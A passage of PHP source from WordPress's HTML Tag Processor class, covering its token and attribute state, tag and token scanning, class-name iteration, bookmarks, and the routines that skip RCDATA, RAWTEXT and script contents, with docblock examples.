	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
